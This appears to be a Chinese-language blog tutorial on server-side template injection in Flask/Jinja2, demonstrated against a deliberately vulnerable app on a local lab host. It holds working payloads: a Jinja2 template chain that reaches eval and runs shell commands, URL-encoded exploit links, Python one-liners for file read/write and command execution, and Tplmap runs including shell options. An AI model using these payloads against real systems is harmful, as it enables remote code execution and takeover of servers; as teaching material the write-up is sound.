SSTI-服务端模板注入漏洞

SSTI-服务端模板注入漏洞

原理

服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露、代码执行、GetShell 等问题。

其影响范围主要取决于模版引擎的复杂性。

模板引擎

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。

参考:https://baike.baidu.com/item/%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E/907667?fr=aladdin

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Flask(Jinja2)服务端模板注入

Jinja2是用于Python的全功能模板引擎。它具有完整的unicode支持,一个可选的集成沙盒执行环境,已被广泛使用并获得BSD许可。 Jinja2由Django或Flask之类的Python Web框架使用。

Jinja官方网站:

https://jinja.palletsprojects.com/en/2.11.x/

实验测试:

flask ssti漏洞的代码:
from flask import Flask, request

from jinja2 import Template

 

app = Flask(__name__)

 

@app.route("/")

def index():

name = request.args.get('name', 'guest')

 

t = Template("Hello " + name)

return t.render()

 

if __name__ == "__main__":

访问:http://192.168.81.128:8000/

img

传入参数:?name={{6*7}},可以得到如下结果,说明存在SSTI漏洞。

img

在python里要执行系统命令需要import os模块。

想要在模板中直接调用内置模块 os,即需要在模板环境中对其注册

需要在上面的代码里加一句:

t.globals['os'] = os

如果没有加这一句,直接使用os中的方法会报错。

那么,如何在未注册 os 模块的情况下在模板中调用 popen() 函数执行系统命令呢?这就用到各种下划线函数了。

>>> [].__class__

<type 'list'>

>>> [].__class__.__base__

<type 'object'>

>>> [].__class__.__base__.__subclasses__()

class:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。

bases:用来查看类的基类,也可是使用数组索引来查看特定位置的值

subclasses():查看当前类的子类。直接用object.subclasses(),也会得到和一样的结果。

img

由此可以访问到很多其他模块,os模块自然也可以这样访问到。

访问os模块需要从warnings.catch_warnings模块入手的。看一下catch_warnings在哪个位置。

>>> import warnings

>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
img

当我们获取了位置后,再用func_global看看该模块有哪些global函数

>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()
img

这里能看到linecache,我们要访问的os模块就在这里,看看这个模块的各种属性:

>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__
img

接下来就可以使用os模块了。

>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].system('id')
img
漏洞利用

获取eval函数并执行任意python代码的POC如下:

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__ == 'catch_warnings' %}

{% for b in c.__init__.__globals__.values() %}

{% if b.__class__ == {}.__class__ %}

{% if 'eval' in b.keys() %}

{{ b['eval']('__import__("os").popen("id").read()') }}

{% endif %}

{% endif %}

{% endfor %}

{% endif %}

{% endfor %}

访问如下链接:

 http://192.168.81.128:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

得到执行结果:

img

查看/etc/passwd

img

xss:name参数的值直接通过get请求获取,并未做任何的处理,可以直接注入xss代码。

img

Python进行文件读写/命令执行的常用命令

//获取基本类

''.__class__.__mro__[1]

{}.__class__.__bases__[0]

().__class__.__bases__[0]

[].__class__.__bases__[0]

object

//读文件

().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

object.__subclasses__()[40](r'C:\1.php').read()
img

//写文件

().__class__.__bases__[0].__subclasses__()[40]('C:\\windows\\temp\\test.txt', 'w').write('2333')

object.__subclasses__()[40]('C:\\windows\\temp\\test.txt', 'w').write('2333')

img

//执行任意命令

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("dir").read()' )

object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ipconfig").read()' )
img

SSTI测试工具–Tplmap

GitHub:https://github.com/epinna/tplmap

帮助信息
C:\Users\hu1ge\Desktop\tplmap>cmd /k python2 tplmap.py -h

Usage: python tplmap.py [options]

 

Options:

-h, --help Show help and exit.

 

Target:

These options have to be provided, to define the target URL.

 

-u URL, --url=URL Target URL.

-X REQUEST, --re.. Force usage of given HTTP method (e.g. PUT).

 

Request:

These options have how to connect and where to inject to the target

URL.

 

-d DATA, --data=.. Data string to be sent through POST. It must be as

query string: param1=value1&param2=value2.

-H HEADERS, --he.. Extra headers (e.g. 'Header1: Value1'). Use multiple

times to add new headers.

-c COOKIES, --co.. Cookies (e.g. 'Field1=Value1'). Use multiple times to

add new cookies.

-A USER_AGENT, -.. HTTP User-Agent header value.

--proxy=PROXY Use a proxy to connect to the target URL

 

Detection:

These options can be used to customize the detection phase.

 

--level=LEVEL Level of code context escape to perform (1-5, Default:

1).

-e ENGINE, --eng.. Force back-end template engine to this value.

-t TECHNIQUE, --.. Techniques R(endered) T(ime-based blind). Default: RT.

 

Operating system access:

These options can be used to access the underlying operating system.

 

--os-cmd=OS_CMD Execute an operating system command.

--os-shell Prompt for an interactive operating system shell.

--upload=UPLOAD Upload LOCAL to REMOTE files.

--force-overwrite Force file overwrite when uploading.

--download=DOWNL.. Download REMOTE to LOCAL files.

--bind-shell=BIN.. Spawn a system shell on a TCP PORT of the target and

connect to it.

--reverse-shell=.. Run a system shell and back-connect to local HOST

PORT.

 

Template inspection:

These options can be used to inspect the template engine.

 

--tpl-shell Prompt for an interactive shell on the template

engine.

--tpl-code=TPL_C.. Inject code in the template engine.

 

General:

These options can be used to set some general working parameters.

 

--force-level=FO.. Force a LEVEL and CLEVEL to test.

--injection-tag=.. Use string as injection tag (default '*').

 

Example:

 

./tplmap -u 'http://www.target.com/page.php?id=1*'
模板注入测试
C:\Users\hu1ge\Desktop\tplmap>python2 tplmap.py -u "http://192.168.81.128:8000/?name=hu1ge"

[+] Tplmap 0.5

Automatic Server-Side Template Injection Detection and Exploitation Tool

 

[+] Testing if GET parameter 'name' is injectable

[+] Smarty plugin is testing rendering with tag '*'

[+] Smarty plugin is testing blind injection

[+] Mako plugin is testing rendering with tag '${*}'

[+] Mako plugin is testing blind injection

[+] Python plugin is testing rendering with tag 'str(*)'

[+] Python plugin is testing blind injection

[+] Tornado plugin is testing rendering with tag '{{*}}'

[+] Tornado plugin is testing blind injection

[+] Jinja2 plugin is testing rendering with tag '{{*}}'

[+] Jinja2 plugin has confirmed injection with tag '{{*}}'

[+] Tplmap identified the following injection point:

 

GET parameter: name   //注入参数:name

Engine: Jinja2    //使用的模板引擎

Injection: {{*}}    //注入方法

Context: text

OS: posix-linux

Technique: render

Capabilities:

 

Shell command execution: ok   //检验当前环境可使用的利用方法

Bind and reverse shell: ok

File write: ok

File read: ok

Code evaluation: ok, python code

 

[+] Rerun tplmap providing one of the following options:

 

--os-shell   在目标上运行shell

--os-cmd   执行shell命令

--bind-shell PORT   连接到目标端口的shell绑定

--reverse-shell HOST PORT   将shell发送回攻击者的端口

--upload LOCAL REMOTE   将文件上载到服务器

--download REMOTE LOCAL   下载远程文件
--os-cmd 执行命令
C:\Users\hu1ge\Desktop\tplmap>python2 tplmap.py -u "http://192.168.81.128:8000/?name=hu1ge" --os-cmd whoami
img

--os-shell 直接获取交互式shell环境

C:\Users\hu1ge\Desktop\tplmap>python2 tplmap.py -u "http://192.168.81.128:8000/?name=hu1ge" --os-shell
img

参考链接:

posted @ 2020-06-25 20:18  micr067  阅读(851)  评论(0编辑  收藏  举报